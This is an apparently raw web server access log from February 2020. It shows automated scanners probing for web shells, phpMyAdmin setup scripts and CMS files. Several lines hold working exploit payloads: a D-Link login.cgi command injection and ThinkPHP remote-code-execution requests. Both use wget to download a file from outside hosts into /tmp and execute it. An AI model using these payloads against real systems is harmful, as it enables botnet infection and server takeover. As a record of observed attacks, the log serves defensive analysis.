198.16.59.82 - - [12/Feb/2020:23:39:05 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:39:18 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:39:31 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:39:43 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:40:08 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:40:21 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:40:34 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
78.158.191.155 - - [12/Feb/2020:23:40:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:23:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:40:47 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:41:00 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:41:13 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:41:25 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:41:38 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:41:51 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:42:03 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:42:15 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:42:27 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
113.220.119.150 - - [12/Feb/2020:23:42:27 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
198.16.59.82 - - [12/Feb/2020:23:42:38 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:42:50 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:43:02 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:43:15 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:43:28 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:43:40 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:43:53 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:44:05 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:44:17 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:44:29 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:44:42 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:44:54 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:45:07 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
139.162.119.197 - - [12/Feb/2020:23:45:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
198.16.59.82 - - [12/Feb/2020:23:45:20 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
66.249.73.205 - - [12/Feb/2020:23:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
198.16.59.82 - - [12/Feb/2020:23:45:32 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:45:44 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.2.85 - - [12/Feb/2020:23:45:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.85.40 - - [12/Feb/2020:23:45:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.203.2.85 - - [12/Feb/2020:23:45:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [12/Feb/2020:23:45:56 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:46:10 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:46:23 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:46:36 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:46:49 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:47:01 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:47:14 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
17.58.100.117 - - [12/Feb/2020:23:47:20 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
17.58.96.45 - - [12/Feb/2020:23:47:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
198.16.59.82 - - [12/Feb/2020:23:47:25 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:47:37 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:47:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:48:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:48:15 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:48:28 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:48:40 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:48:53 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:49:07 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:49:20 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:49:32 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
85.214.98.90 - - [12/Feb/2020:23:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
198.16.59.82 - - [12/Feb/2020:23:49:45 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:49:58 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.171.41.139 - - [12/Feb/2020:23:50:05 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 325 "-" "Help"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:08 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:09 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:09 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:09 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:09 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:10 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
198.16.59.82 - - [12/Feb/2020:23:50:11 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:11 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:12 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
165.227.18.253 - - [12/Feb/2020:23:50:13 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
198.16.59.82 - - [12/Feb/2020:23:50:23 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:50:35 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:50:48 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
178.91.189.199 - - [12/Feb/2020:23:50:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [12/Feb/2020:23:51:01 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:51:14 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:51:27 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:51:39 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:51:51 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:52:03 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:52:15 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:52:26 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
35.230.170.106 - - [12/Feb/2020:23:52:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [12/Feb/2020:23:52:39 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
